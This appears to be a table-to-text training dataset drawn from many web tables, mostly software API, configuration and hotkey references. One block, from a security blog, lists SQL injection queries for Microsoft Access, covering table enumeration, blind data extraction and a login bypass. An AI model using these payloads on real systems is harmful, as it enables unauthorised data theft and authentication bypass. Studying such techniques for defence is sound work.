Input: [Limit] 140 [Type]

Output: Max Characters per tweet

Do You Know the Twitter Limits? Spam, followers & following


Input: [Limit] 1,000 per day [Detail] spread across a 24 period [Type]

Output: Tweets

Do You Know the Twitter Limits? Spam, followers & following


Input: [Limit] 250 per day [Type]

Output: Direct Messages

Do You Know the Twitter Limits? Spam, followers & following


Input: [Limit] 4 per hour [Type]

Output: Changes to email address

Do You Know the Twitter Limits? Spam, followers & following


Input: [Limit] 1,819 [Detail] Above 1,819 you can follow this number +10%. [Type]

Output: Following

Do You Know the Twitter Limits? Spam, followers & following


Input: [Limit] 1,000 [Detail] You can only have 1,000 lists (this includes ones you have created and ones you follow) Before May 30th 2013 the max number of lists was 20 [Type]

Output: Number of Lists

Do You Know the Twitter Limits? Spam, followers & following


Input: [Limit] 5,000 [Detail] Before May 30th 2013 the max accounts per list was 500 [Type]

Output: Number of people in a list

Do You Know the Twitter Limits? Spam, followers & following


Input: [Limit] 1,000 per day [Type]

Output: Number of people you can follow

Do You Know the Twitter Limits? Spam, followers & following


Input: [Limit] Unknown [Detail] Twitter doesn’t state this, but you are likely to get banned if you unfollow people aggressively. I’d recommend sticking well under 400 unfollows per day. [Type]

Output: How many people you can unfollow

Do You Know the Twitter Limits? Spam, followers & following


Input: [Limit] 160 [Type]

Output: Max Characters for biog

Do You Know the Twitter Limits? Spam, followers & following


Input: [Limit] 1252×626 [Detail] (also a max upload size of 5Mb) [Type]

Output: Twitter Header Image Size

Do You Know the Twitter Limits? Spam, followers & following


Input: [Gesture] Hold right button and move mouse left [Function]

Output: Previous page in history


Input: [Gesture] Hold right button and move mouse right [Function]

Output: Next page in history


Input: [Gesture] Hold right button and move mouse up [Function]

Output: Jump to prior browser tab


Input: [Gesture] Hold right button and move mouse down [Function]

Output: Jum to next browser tab


Input: [Gesture] Hold right button and move as the arrows [Function]

Output: Close current page


Input: [Gesture] Move back near to the original point [Function]

Output: Cancel current gesture function


Input: [Type] string [Description] the file types that are allowed (eg "gif|jpg"). [Defined By] CMultiFileUpload [Property]

Output: accept

CMultiFileUpload - Faster Yii API Documentation


Input: [Type] string [Description] the prefix to the IDs of the actions. [Defined By] CWidget [Property]

Output: actionPrefix

CMultiFileUpload - Faster Yii API Documentation


Input: [Type] string [Description] the attribute associated with this widget. [Defined By] CInputWidget [Property]

Output: attribute

CMultiFileUpload - Faster Yii API Documentation


Input: [Type] CController [Description] Returns the controller that this widget belongs to. [Defined By] CWidget [Property]

Output: controller

CMultiFileUpload - Faster Yii API Documentation


Input: [Type] string [Description] message that is displayed when a file type is not allowed. [Defined By] CMultiFileUpload [Property]

Output: denied

CMultiFileUpload - Faster Yii API Documentation


Input: [Type] string [Description] message that is displayed when a file appears twice. [Defined By] CMultiFileUpload [Property]

Output: duplicate

CMultiFileUpload - Faster Yii API Documentation


Input: [Type] string [Description] the message template for displaying the uploaded file name [Defined By] CMultiFileUpload [Property]

Output: file

CMultiFileUpload - Faster Yii API Documentation


Input: [Type] array [Description] additional HTML options to be rendered in the input tag [Defined By] CInputWidget [Property]

Output: htmlOptions

CMultiFileUpload - Faster Yii API Documentation


Input: [Type] string [Description] Returns the ID of the widget or generates a new one if requested. [Defined By] CWidget [Property]

Output: id

CMultiFileUpload - Faster Yii API Documentation


Input: [Type] integer [Description] the maximum number of files that can be uploaded. [Defined By] CMultiFileUpload [Property]

Output: max

CMultiFileUpload - Faster Yii API Documentation


Input: [Type] CModel [Description] the data model associated with this widget. [Defined By] CInputWidget [Property]

Output: model

CMultiFileUpload - Faster Yii API Documentation


Input: [Type] string [Description] the input name. [Defined By] CInputWidget [Property]

Output: name

CMultiFileUpload - Faster Yii API Documentation


Input: [Type] array [Description] additional options that can be passed to the constructor of the multifile js object. [Defined By] CMultiFileUpload [Property]

Output: options

CMultiFileUpload - Faster Yii API Documentation


Input: [Type] CBaseController [Description] Returns the owner/creator of this widget. [Defined By] CWidget [Property]

Output: owner

CMultiFileUpload - Faster Yii API Documentation


Input: [Type] string [Description] the label for the remove button. [Defined By] CMultiFileUpload [Property]

Output: remove

CMultiFileUpload - Faster Yii API Documentation


Input: [Type] string [Description] message that is displayed when a file is selected. [Defined By] CMultiFileUpload [Property]

Output: selected

CMultiFileUpload - Faster Yii API Documentation


Input: [Type] mixed [Description] the name of the skin to be used by this widget. [Defined By] CWidget [Property]

Output: skin

CMultiFileUpload - Faster Yii API Documentation


Input: [Type] string [Description] the input value [Defined By] CInputWidget [Property]

Output: value

CMultiFileUpload - Faster Yii API Documentation


Input: [Type] string [Description] Returns the directory containing the view files for this widget. [Defined By] CWidget [Property]

Output: viewPath

CMultiFileUpload - Faster Yii API Documentation


Input: [Parameter] client_id: [Type] required [Details]

Output: CLIENT_ID provided on signup.


Input: [Parameter] secret: [Type] required [Details]

Output: SECRET provided on signup.


Input: [Parameter] username: [Type] required [Details]

Output: Username associated with the user's financial institution.


Input: [Parameter] password: [Type] required [Details]

Output: Password associated with the user's financial institution.


Input: [Parameter] pin: [Type] usaa only [Details]

Output: Pin number associated with the user's financial institution.


Input: [Parameter] access_token: [Type] required [Details]

Output: The ACCESS_TOKEN of the user you wish to update.


Input: [Item] Home phone [Complexities] May not be a good number [Description]

Output: Number probably placed on your account screen

How Collection Agencies Can Best Manage Debtor Phone Numbers


Input: [Item] Work number [Complexities] May not be a good number [Description]

Output: Number probably placed on your account screen

How Collection Agencies Can Best Manage Debtor Phone Numbers


Input: [Item] Cell number [Complexities] May not be a good number. We need to identify a cell number with permission to call. [Description]

Output: Number probably placed on your account screen

How Collection Agencies Can Best Manage Debtor Phone Numbers


Input: [Item] Numbers in an “All phones” area within your system [Complexities] How should you call these numbers? Do we move them into the account detail screen when we have no numbers there? How about linked accounts having different numbers? [Description]

Output: The numbers on the account detail screen and other possible numbers for debtor or third parties. A phone code could be used to designate the type of number and if it is a “good” number.

How Collection Agencies Can Best Manage Debtor Phone Numbers


Input: [Item] Queues [Complexities] What numbers do we call? Do we only look at the primary (base) account? The linked accounts may have different numbers. [Description]

Output: Phones numbers have to be associated with accounts to be worked

How Collection Agencies Can Best Manage Debtor Phone Numbers


Input: [Item] Legal concerns [Complexities] Can you use a phone number on a new account to call about another linked account? [Description]

Output: The many legal issues that relate to the use of information on one account to collect on another account.

How Collection Agencies Can Best Manage Debtor Phone Numbers


Input: [Item] Automated dialers [Complexities] Can you call cell phones using a dialer? In what mode? [Description]

Output: Using predictive or preview modes to make phone calls

How Collection Agencies Can Best Manage Debtor Phone Numbers


Input: [Item] Third parties [Complexities] Rules and logical assumptions when we talk about contacting third parties. E.g. Once you make contact, you should not call again. [Description]

Output: Parties who may be related to or know the debtor

How Collection Agencies Can Best Manage Debtor Phone Numbers


Input: [Item] Managing cell phones [Complexities] How to you handle cell phones and third parties. Some clients want cell phones dialed from a “desk” phone. How do you do that and count the calls for client and state limits? [Description]

Output: The area of knowing what a cell phone is and working them appropriately

How Collection Agencies Can Best Manage Debtor Phone Numbers


Input: [Item] Primary account [Complexities] The primary may be closed. You can have different information on different accounts for the same debtor. [Description]

Output: The “base” or “face” account that represents a group of accounts.

How Collection Agencies Can Best Manage Debtor Phone Numbers


Input: [Option] width [Description] The width of the box if it's not null, else the width will be auto. [Default]

DivBox - jquery multibox, support youtube videos


Input: [Option] height [Description] The height of the box if it's not null, else the height will be auto. [Default]

DivBox - jquery multibox, support youtube videos


Input: [Option] speed [Description] The speed of each the animation as string in jQuery terms ("slow" or "fast") or milliseconds as integer [Default]

Output: 500

DivBox - jquery multibox, support youtube videos


Input: [Option] left [Description] The value from the left that the box should open to. If left is null, the left will be auto. [Default]

DivBox - jquery multibox, support youtube videos


Input: [Option] top [Description] The value from the top that the box should open to. If top is null, the top will be auto. [Default]

DivBox - jquery multibox, support youtube videos


Input: [Option] type [Description] The specify the format that you want assign to. If type is null, the format will be auto. Divbox support formats: Image(jpg,jpeg,image,png),Media(mp3, mp4, flv, swf, wmv),element, ajax, youtube or any string (show in a iframe) Example: HTML: External link(Iframe) HTML Element Ajax JS: [Default]

DivBox - jquery multibox, support youtube videos


Input: [Option] src [Description] The specify attribute that the value is a source to show on the box. [Default]

Output: href

DivBox - jquery multibox, support youtube videos


Input: [Option] scrollbar [Description] Set value of atrribute scrolling in iframe [Default]

Output: auto

DivBox - jquery multibox, support youtube videos


Input: [Option] btn_closed [Description] The jquery selector of element that is close button [Default]

Output: #divbox_frame .closed

DivBox - jquery multibox, support youtube videos


Input: [Option] btn_prev [Description] The jquery selector of element that is previous button [Default]

Output: #divbox_frame .prev

DivBox - jquery multibox, support youtube videos


Input: [Option] btn_next [Description] The jquery selector of element that is next button [Default]

Output: #divbox_frame .next

DivBox - jquery multibox, support youtube videos


Input: [Option] btn_number [Description] The jquery selector of element that show the current items per total items [Default]

Output: #divbox_frame .number

DivBox - jquery multibox, support youtube videos


Input: [Option] path [Description] The folder that includes players. [Default]

Output: players/

DivBox - jquery multibox, support youtube videos


Input: [Option] resize_large_image [Description] Allow resize image auto if the demension size is so large and else. [Default]

Output: true

DivBox - jquery multibox, support youtube videos


Input: [Option] click_full_image [Description] Allow click on image to view full image if the image has been auto resize. [Default]

Output: true

DivBox - jquery multibox, support youtube videos


Input: [Option] overlay [Description] Allow use a semi-transparent background. [Default]

Output: true

DivBox - jquery multibox, support youtube videos


Input: [Option] caption [Description] Allow show the caption: - false: hide the caption - true: the title of the element will show on caption if caption is a function, the value return will show on caption, this is useful to show caption with HTML description. Example: HTML: HTML Description HTML Description 2 JS: [Default]

Output: true

DivBox - jquery multibox, support youtube videos


Input: [Option] caption_control [Description] Allow show the caption control ( includes next and previous buttons) [Default]

Output: true

DivBox - jquery multibox, support youtube videos


Input: [Option] caption_number [Description] Allow show the current item per total items [Default]

Output: true

DivBox - jquery multibox, support youtube videos


Input: [Option] event [Description] The mouse event on the HTML element to show box. [Default]

Output: click

DivBox - jquery multibox, support youtube videos


Input: [Option] container [Description] The containing element for the overlay if used. [Default]

Output: document.body

DivBox - jquery multibox, support youtube videos


Input: [Constant] LOG_EMERG [Description]

Output: system is unusable

syslog() Priorities (in descending order)


Input: [Constant] LOG_ALERT [Description]

Output: action must be taken immediately


Input: [Constant] LOG_CRIT [Description]

Output: critical conditions


Input: [Constant] LOG_ERR [Description]

Output: error conditions


Input: [Constant] LOG_WARNING [Description]

Output: warning conditions


Input: [Constant] LOG_NOTICE [Description]

Output: normal, but significant, condition


Input: [Constant] LOG_INFO [Description]

Output: informational message


Input: [Constant] LOG_DEBUG [Description]

Output: debug-level message


Input: [Property] Case-Sensitive String Comparison [Description]

Output: If selected, the Integration Service uses case-sensitive string comparisons when performing joins on string columns.

Joiner Transformation in Informatica with example | Performance | TeckTrick Tutorial World


Input: [Property] Cache Directory [Description]

Output: Specifies the directory used to cache master or detail rows and the index to these rows. By default, the cache files are created in a directory specified by the process variable $PMCacheDir. If you override the directory, make sure the directory exists and contains enough disk space for the cache files. The directory can be a mapped or mounted drive.

Joiner Transformation in Informatica with example | Performance | TeckTrick Tutorial World


Input: [Property] Join Type [Description]

Output: Specifies the type of join: Normal, Master Outer, Detail Outer, or Full Outer.

Joiner Transformation in Informatica with example | Performance | TeckTrick Tutorial World


Input: [Property] Null Ordering in Master [Description]

Output: Not applicable for this transformation type.

Joiner Transformation in Informatica with example | Performance | TeckTrick Tutorial World


Input: [Property] Null Ordering in Detail [Description]

Output: Not applicable for this transformation type.

Joiner Transformation in Informatica with example | Performance | TeckTrick Tutorial World


Input: [Property] Tracing Level [Description]

Output: Amount of detail displayed in the session log for this transformation. The options are Terse, Normal, Verbose Data, and Verbose Initialization.

Joiner Transformation in Informatica with example | Performance | TeckTrick Tutorial World


Input: [Property] Joiner Data Cache Size [Description]

Output: Data cache size for the transformation. Default cache size is 2,000,000 bytes. If the total configured cache size is 2 GB or more, you must run the session on a 64-bit Integration Service. You can configure a numeric value, or you can configure the Integration Service to determine the cache size at runtime. If you configure the Integration Service to determine the cache size, you can also configure a maximum amount of memory for the Integration Service to allocate to the cache.

Joiner Transformation in Informatica with example | Performance | TeckTrick Tutorial World


Input: [Property] Joiner Index Cache Size [Description]

Output: Index cache size for the transformation. Default cache size is 1,000,000 bytes. If the total configured cache size is 2 GB or more, you must run the session on a 64-bit Integration Service. You can configure a numeric value, or you can configure the Integration Service to determine the cache size at runtime. If you configure the Integration Service to determine the cache size, you can also configure a maximum amount of memory for the Integration Service to allocate to the cache

Joiner Transformation in Informatica with example | Performance | TeckTrick Tutorial World


Input: [Property] Sorted Input [Description]

Output: Specifies that data is sorted. Choose Sorted Input to join sorted data. Using sorted input can improve performance

Joiner Transformation in Informatica with example | Performance | TeckTrick Tutorial World


Input: [Property] Master Sort Order [Description]

Output: Specifies the sort order of the master source data. Choose Ascending if the master source data is in ascending order. If you choose Ascending, also enable sorted input. Default is Auto.

Joiner Transformation in Informatica with example | Performance | TeckTrick Tutorial World


Input: [Property] Transformation Scope [Description]

Output: Specifies how the Integration Service applies the transformation logic to incoming data. You can choose Transaction, All Input, or Row.

Joiner Transformation in Informatica with example | Performance | TeckTrick Tutorial World


Input: [Status Code] 400 Bad Request [Description]

Output: This response is used when it is impossible for the server to fulfil the request, as the syntax of the request is incorrect. For example, this would be used if the size parameter does not match any of the specified syntaxes.

Image API 2.0 — IIIF | International Image Interoperability Framework


Input: [Status Code] 401 Unauthorized [Description]

Output: Authentication is required and not provided. See the Authentication section for details.

Image API 2.0 — IIIF | International Image Interoperability Framework


Input: [Status Code] 403 Forbidden [Description]

Output: The user, authenticated or not, is not permitted to perform the requested operation.

Image API 2.0 — IIIF | International Image Interoperability Framework


Input: [Status Code] 404 Not Found [Description]

Output: The image resource specified by identifier does not exist, or the value of one or more of the parameters is not supported for this image.

Image API 2.0 — IIIF | International Image Interoperability Framework


Input: [Status Code] 500 Internal Server Error [Description]

Output: The server encountered an unexpected error that prevented it from fulfilling the request.

Image API 2.0 — IIIF | International Image Interoperability Framework


Input: [Status Code] 501 Not Implemented [Description]

Output: A valid IIIF request that is not implemented by this server.

Image API 2.0 — IIIF | International Image Interoperability Framework


Input: [Status Code] 503 Service Unavailable [Description]

Output: Used when the server is busy/temporarily unavailable due to load/maintenance issues. An alternative to connection refusal with the option to specify a back-off period.

Image API 2.0 — IIIF | International Image Interoperability Framework


Input: [Letter] A [Meaning]

Output: Extract a string, where each element of the Blob maps to a codepoint


Input: [Letter] a [Meaning]

Output: Same as A


Input: [Letter] C [Meaning]

Output: Extract an element from the blob as an integer


Input: [Letter] H [Meaning]

Output: Extracts a hex string


Input: [Letter] L [Meaning]

Output: Extracts four elements and returns them as a single unsigned integer


Input: [Letter] n [Meaning]

Output: Extracts two elements and combines them in "network" (big-endian) byte order into a single integer


Input: [Letter] N [Meaning]

Output: Extracts four elements and combines them in "network" (big-endian) byte order into a single integer


Input: [Letter] S [Meaning]

Output: Extracts two elements and returns them as a single unsigned integer


Input: [Letter] v [Meaning]

Output: Same as S


Input: [Letter] V [Meaning]

Output: Same as L


Input: [Letter] x [Meaning]

Output: Drop an element from the blob (that is, ignore it)


Input: [Letter] Z [Meaning]

Output: Same as A


Input: [Description] This is the normal state. The last request for data succeeded. [Message]

Output: Connected

Trade-Ideas Stock Scanner Help - Alert and Filter Definitions and System Requirements


Input: [Description] A new version of the software is available. The software is automatically upgrading itself. [Message]

Output: Upgrading

Trade-Ideas Stock Scanner Help - Alert and Filter Definitions and System Requirements


Input: [Description] The last request for data failed. Automatically retrying. [Message]

Output: Retrying

Trade-Ideas Stock Scanner Help - Alert and Filter Definitions and System Requirements


Input: [Description] Verifying the user id and password. Usually this is very fast, but frequently switching computers can cause this to take up to one minute. [Message]

Output: Please Wait

Trade-Ideas Stock Scanner Help - Alert and Filter Definitions and System Requirements


Input: [Description] Another user has requested data using the same user id and password. Each user id is only allowed to run the software on one computer at a time. Hit refresh to restart the data. [Message]

Output: Another User

Trade-Ideas Stock Scanner Help - Alert and Filter Definitions and System Requirements


Input: [Description] The script has just started. Unless there is a problem, this message should disappear very quickly. [Message]

Output: Initializing

Trade-Ideas Stock Scanner Help - Alert and Filter Definitions and System Requirements


Input: [Description] The software is working correctly, but no data is available at this time. [Message]

Output: North American Markets Closed

Trade-Ideas Stock Scanner Help - Alert and Filter Definitions and System Requirements


Input: [No] 1 [Description] Retrieve the List of Tables in the Access Database [Commands] SELECT * FROM users UNION SELECT Name, NULL, NULL, NULL, NULL from MSysObjects WHERE Type=1 [Prerequisites]

Output: Might not work through an ODBC connection. Might only work via MS Access directly.

SQL Injection for Microsoft Access | Milo2012's Security Blog


Input: [No] 2 [Description] Get the Number of Columns in an Access Table [Commands] SELECT * FROM users WHERE id=1 ORDER BY #,1Replace # by a number and increment it until it returns an error.The last number before the error will be the total number of columns in the table. [Prerequisites]

SQL Injection for Microsoft Access | Milo2012's Security Blog


Input: [No] 3 [Description] Retrieving the Columns in a Table [Commands] SELECT username, password from users WHERE id=1 GROUP BY 1 having 1=1SELECT username, password from users WHERE id=1 GROUP BY 1, username having 1=1 [Prerequisites]

Output: Only if the column selection in a SELECT statement is not using *

SQL Injection for Microsoft Access | Milo2012's Security Blog


Input: [No] 4 [Description] Get The First Column Name from the Current Table [Commands] SELECT * FROM users WHERE id=1 having sum(1)=1 [Prerequisites]

SQL Injection for Microsoft Access | Milo2012's Security Blog


Input: [No] 5 [Description] Retrieving the Data Type of the Colum [Commands] SELECT * FROM users WHERE id=1 UNION SELECT NULL, TypeName(username),NULL,NULL,NULL,NULL FROM users WHERE 1=1 [Prerequisites]

Output: Column and Table Name

SQL Injection for Microsoft Access | Milo2012's Security Blog


Input: [No] 6 [Description] Retrieve The Length of the Data in X Column [Commands] SELECT * FROM users WHERE ID=IIF((select LEN(username) from (SELECT TOP 1 username FROM users))>1,1,0) [Prerequisites]

Output: Column and Table Name

SQL Injection for Microsoft Access | Milo2012's Security Blog


Input: [No] 7 [Description] Retrieve the Data in the Column / Row of the Access Table.Uses True or False statement to check if there is a data match. [Commands] SELECT * FROM users WHERE id=1 and 1=IIF((SELECT mid(last(username),1,1) FROM (SELECT TOP 1 username FROM users))=’m’,1,0) [Prerequisites]

Output: Column and Table Name

SQL Injection for Microsoft Access | Milo2012's Security Blog


Input: [No] 8 [Description] Retrieve The Data In the X Column and X Row. [Commands] SELECT TOP 1 username FROM users WHERE username <(SELECT MAX(username) FROM users where USERNAME <(SELECT MAX(username) FROM users)) ORDER BY username [Prerequisites]

Output: Column and Table Name

SQL Injection for Microsoft Access | Milo2012's Security Blog


Input: [No] 9 [Description] How to Check if The Access Database is Sandboxed [Commands] SELECT * FROM users WHERE id=1 UNION SELECT curdir() FROM MsysAccessObjects WHERE 1=1 [Prerequisites]

SQL Injection for Microsoft Access | Milo2012's Security Blog


Input: [No] 10 [Description] Check if Table Exists [Commands] SELECT * FROM users WHERE id=1 UNION SELECT 1 FROM [table_name] [Prerequisites]

SQL Injection for Microsoft Access | Milo2012's Security Blog


Input: [No] 11 [Description] Check if Column Exists [Commands] SELECT * FROM users WHERE id=1 UNION SELECT [column_name] FROM [table_name] [Prerequisites]

Output: Table Name

SQL Injection for Microsoft Access | Milo2012's Security Blog


Input: [No] 12 [Description] Determine Number of Rows in Table [Commands] SELECT * FROM users AND IIF(SELECT COUNT(*) FROM [table_name] ) = [x], 1, 0 [Prerequisites]

Output: Table Name

SQL Injection for Microsoft Access | Milo2012's Security Blog


Input: [No] 14 [Description] Login Bypass(If the above (No 13) doesn’t work for you [Commands] SELECT * FROM users WHERE username = ‘[username] ‘ UNION SELECT NULL, NULL, NULL FROM users WHERE ‘1’=’1’ and password=’’ [Prerequisites]

Output: Number of ColumnsTable NameColumn Name

SQL Injection for Microsoft Access | Milo2012's Security Blog


Input: [Field Description] The symbol for which the Backfill is being requested [Field Name]

Output: SYMBOL


Input: [Field Description] Request Type - TICK or OHLC [Field Name]

Output: REQTYPE


Input: [Field Description] Used with OHLC request type - the frequency for the OHLC data [Field Name]

Output: FREQ


Input: [Field Description] From Date/Time [Field Name]

Output: FROM


Input: [Field Description] To Date/Time [Field Name]

Output: TO


Input: [Field Description] YES/NO (Default NO) - Regular Trading hours (if NO, then ALL data). This is based on the default timeframe for the symbol. Have to use the GUI to change. (Ver >= 3.6.3C) [Field Name]

Output: RTH


Input: [Field Description] YES/NO - Whether or not the backfill request should be passed through to the currently selected backfill server (READ NOTE BELOW (Ver >= 3.6.5E) [Field Name]

Output: PASSTHROUGH


Input: Outputs appdomain name [Pattern name]

Output: Appdomain


Input: Outputs date [Pattern name]

Output: Date


Input: Outputs exception passed with the message [Pattern name]

Output: Exception


Input: Outputs level of logging event [Pattern name]

Output: Level


Input: Outputs the logger that logged the event [Pattern name]

Output: Logger


Input: Outputs the message passed with the logging event call [Pattern name]

Output: Message


Input: Inserts a new line [Pattern name]

Output: Newline


Input: Used to output an event specific property. The property will be specified within braces. Example : property{customproperty}. This will look for the key named customproperty and will get the value associated to it. If no specific key is given, then all the keys and their values are printed in a comma separated list. [Pattern name]

Output: Property


Input: Used to output the number of milliseconds elapsed since start of the application till the logging event. [Pattern name]

Output: Timestamp


Input: Used to output name of the thread. If no name is given, number will be considered. [Pattern name]

Output: Thread


Input: Outputs date in universal time. [Pattern name]

Output: Utcdate


Input: Prints a % [Pattern name]


Input: [Field] id [Type] int [Description]

Output: The wine type’s id.


Input: [Field] name [Type] string [Description]

Output: The producer’s name.


Input: [Field] long_name [Type] string [Description]

Output: The producer’s long name.


Input: [Field] country [Type] string [Description]

Output: The producer’s country name.


Input: [Field] country_id [Type] int [Description]

Output: The producer’s country id.


Input: [Field] adegga_url [Type] string [Description]

Output: The producer’s adegga page url.


Input: [Field] logo_url [Type] string [Description]

Output: The producer’s logo adegga url.


Input: [Field] producer_url [Type] string [Description]

Output: The producer’s website url.


Input: [Field] nr_wines [Type] int [Description]

Output: The producer’s wine count.


Input: [Logo Mode Command] penheight number [Meaning]

Output: Set the height of the line the pen will draw.

Mirage WorldBuilder syntax - Tekkotsu Wiki


Input: [Logo Mode Command] penwidth number [Meaning]

Output: Set the width of the line the pen will draw.

Mirage WorldBuilder syntax - Tekkotsu Wiki


Input: [Logo Mode Command] penshape shape [Meaning]

Output: Set the shape the pen will draw with; default is cube. The width and height are controlled by the penwidth and penheight commands; the length is controlled by the forward command.

Mirage WorldBuilder syntax - Tekkotsu Wiki


Input: [Logo Mode Command] pencolor material [Meaning]

Output: Set the color (material) the pen will draw in.

Mirage WorldBuilder syntax - Tekkotsu Wiki


Input: [Logo Mode Command] pendown [Meaning]

Output: Turn on drawing mode.

Mirage WorldBuilder syntax - Tekkotsu Wiki


Input: [Logo Mode Command] penup [Meaning]

Output: Turn off drawing mode; motion commands will still take effect.

Mirage WorldBuilder syntax - Tekkotsu Wiki


Input: [Logo Mode Command] forward number [Meaning]

Output: Move the pen forward by this amount, drawing a shape if the pen is down.

Mirage WorldBuilder syntax - Tekkotsu Wiki


Input: [Logo Mode Command] up number [Meaning]

Output: Move the pen up by this amount.

Mirage WorldBuilder syntax - Tekkotsu Wiki


Input: [Logo Mode Command] turn degrees [Meaning]

Output: Turn by this many degrees (positive is counterclockwise).

Mirage WorldBuilder syntax - Tekkotsu Wiki


Input: [Logo Mode Command] moveto [x,y,z] [Meaning]

Output: Set the pen position.

Mirage WorldBuilder syntax - Tekkotsu Wiki


Input: [Logo Mode Command] heading degreees [Meaning]

Output: Set the direction the pen is facing.

Mirage WorldBuilder syntax - Tekkotsu Wiki


Input: [Parameter] contactEmail [Required] true [Details]

Output: The email address of the customer


Input: [Parameter] contactAPIkey [Required] true [Details]

Output: The API key of the customer


Input: [Parameter] developerAPIkey [Required] false [Details]

Output: The API key of the developer/partner. Can be the same as contactAPIkey


Input: [Parameter] templateId [Required] false [Details]

Output: Use GetTemplates to find templateID


Input: [Parameter] imageURL [Required] true [Details]

Output: The source URL of image


Input: [Parameter] imageURL2 [Required] false [Details]

Output: The source URL of 2nd image (combining images)


Input: [Parameter] imageURL3 [Required] false [Details]

Output: The source URL of 3rd image (combining images)


Input: [Parameter] imageURL4 [Required] false [Details]

Output: The source URL of 4th image (combining images)


Input: [Parameter] imageURL5 [Required] false [Details]

Output: The source URL of 5th image (combining images)


Input: [Parameter] imageRequestedDeliveryTimeInHours [Required] false [Details]

Output: Overwrites template delivery time.


Input: [Parameter] imageCallbackURL [Required] false [Details]

Output: Webhook callback URL when image is processed


Input: [Parameter] customerImageId [Required] false [Details]

Output: ImageID at the customer side. You can use it as image identity


Input: [Parameter] productId [Required] false [Details]

Output: All images with the same ProductID will be collected into a single package, and we can take care the consistent quality of all images in this package.


Input: [Key] intrusive_editing (known in the front-end as content rewrite) [Value]

Output: true or false


Input: [Key] fileToUpload [Value]

Output: single file to be edited


Input: [Key] content [Value]

Output: raw text to be edited


Input: [Key] json [Value]

Output: flat dictionary of content to be edited


Input: [Key] googleDocId [Value]

Output: id of a document you have access to in Google Drive


Input: [Key] callback_url [Value]

Output: URL that will receive notifications when the job changes states or receives messages


Input: [Case] Nominative [Form] Fedora [Usage]

Output: the subject of a sentence


Input: [Case] Genitive [Form] Fedory [Usage]

Output: indicates possession


Input: [Case] Accusative [Form] Fedoru [Usage]

Output: the direct object of a sentence


Input: [Case] Dative [Form] Fedoře [Usage]

Output: the indirect object of a sentence


Input: [Case] Vocative [Form] Fedoro [Usage]

Output: the subject of direct address


Input: [Case] Locative [Form] Fedoře [Usage]

Output: relates to a location


Input: [Case] Instrumental [Form] Fedorou [Usage]

Output: relates to a method


Input: [Action] AddMedia [Description]

Output: Add new media to user's queue. Creates new items in a queue according to formats specified in the XML API request.

Complete API Documentation - Encoding.com


Input: [Action] AddMediaBenchmark [Description]

Output: Add new media to user's queue and sets a flag to NOT process automatically after downloading. Format fields can be specified as well. If NotifyURL is set, a notification will be sent after the media is ready for processing. Note: the media will get 'Ready to process' status only when at least one field is specified. Otherwise, you may retrieve source media information via GetMediaInfo action listed below.

Complete API Documentation - Encoding.com


Input: [Action] UpdateMedia [Description]

Output: Replace information about existing media's formats. All old format items will be deleted and the new ones will be added.

Complete API Documentation - Encoding.com


Input: [Action] ProcessMedia [Description]

Output: Start encoding the previously downloaded media (ones that have been added with an AddMediaBenchmark action).

Complete API Documentation - Encoding.com


Input: [Action] CancelMedia [Description]

Output: Delete specified media and all its items in the queue.

Complete API Documentation - Encoding.com


Input: [Action] GetMediaList [Description]

Output: Returns a list of the user's media in the queue.

Complete API Documentation - Encoding.com


Input: [Action] GetStatus [Description]

Output: Returns information about a selected user's media and all its items in the queue.

Complete API Documentation - Encoding.com


Input: [Action] GetMediaInfo [Description]

Output: Returns video parameters of the specified media when available.

Complete API Documentation - Encoding.com


Input: [Action] GetMediaInfoEx [Description]

Output: Returns extended video parameters of the specified media when available.

Complete API Documentation - Encoding.com


Input: [Action] RestartMedia [Description]

Output: Complete restart the entire job.

Complete API Documentation - Encoding.com


Input: [Action] RestartMediaErrors [Description]

Output: Only retry tasks ended with error.

Complete API Documentation - Encoding.com


Input: [Action] RestartMediaTask [Description]

Output: Only restart the specified task (format). Additional parameter must be specified.

Complete API Documentation - Encoding.com


Input: [Action] StopMedia [Description]

Output: Stop media downloading/processing/uploading. If at least one destination is saved, media will be finished, otherwise it will be stopped.

Complete API Documentation - Encoding.com


Input: [Link Code] W [Link Type] Web hyperlink (full URL) [Click Behavior]

Output: Opens the user’s default web browser and displays the target web page.


Input: [Link Code] P [Link Type] Web hyperlink (URL pattern with parameters) [Click Behavior]

Output: Opens the user’s default web browser and displays the target web page.


Input: [Link Code] X [Link Type] Footnote-style extended information [Click Behavior]

Output: Displays the extended information in a footnote pane at the bottom of the Item Details window.


Input: [Link Code] R [Link Type] Jump-to hyperlink [Click Behavior]

Output: Jumps to the Item Details view for the record associated with this hyperlink.


Input: [Link Code] M [Link Type] Media link [Click Behavior]

Output: Opens Windows Media Player and plays the associated audio or video clip.


Input: [Link Code] F [Link Type] Associated file [Click Behavior]

Output: Opens the appropriate application on the specified file.


Input: [Hotkey] CTRL-N [Purpose]

Output: Creates a new phrase at the current cursor's location in the tree view


Input: [Hotkey] CTRL-O [Purpose]

Output: Creates a new folder at the current cursor's location in the tree view


Input: [Hotkey] CTRL-F [Purpose]

Output: Opens the QuickSearch popup


Input: [Hotkey] CTRL-H [Purpose]

Output: Opens the Find&Replace dialog


Input: [Hotkey] CTRL-D [Purpose]

Output: Duplicates the currently selected item in the tree view


Input: [Hotkey] CTRL-S [Purpose]

Output: Saves the current status of all phrase files while keeping the main program window open.


Input: [Hotkey] CTRL-A [Purpose]

Output: Selects all items in the current folder level in the tree view.


Input: [Hotkey] CTRL-I [Purpose]

Output: Opens the Import dialog.


Input: [Hotkey] CTRL-C, -X, -V [Purpose]

Output: Clipboard operations: Copy, Cut, Paste


Input: [Hotkey] Delete-key [Purpose]

Output: Deletes the currently selected item


Input: [Hotkey] ESC [Purpose]

Output: Minimizes the main program window.


Input: [Hotkey] F1-key [Purpose]

Output: Opens this documentation


Input: [Hotkey] F5-key [Purpose]

Output: Reloads the currently selected phrase file. This is also useful to check the current file status (online/offline, write protections, etc.).


Input: [Hotkey] ALT-F4 [Purpose]

Output: Minimizes/exits PhraseExpress


Input: [Hotkey] Arrow Left/Right [Purpose]

Output: Expands/Collapses the currently selected phrase folder level. If press multiple times, the selection advances to the parent folder.


Input: [Hotkey] CTRL-SHIFT-Arrow Left/Right [Purpose]

Output: Collapses/Expands all phrase folders.


Input: [Hotkey] Arrow Up/Down [Purpose]

Output: Moves the selection cursor to the previous/next item in the tree.


Input: [Hotkey] CTRL-SHIFT-Arrow Up/Down [Purpose]

Output: Jump to the first/last item in the phrase tree


Input: [Hotkey] CTRL-Arrow Up/Down [Purpose]

Output: Shifts the current tree view within the viewport by one item to the top/bottom.


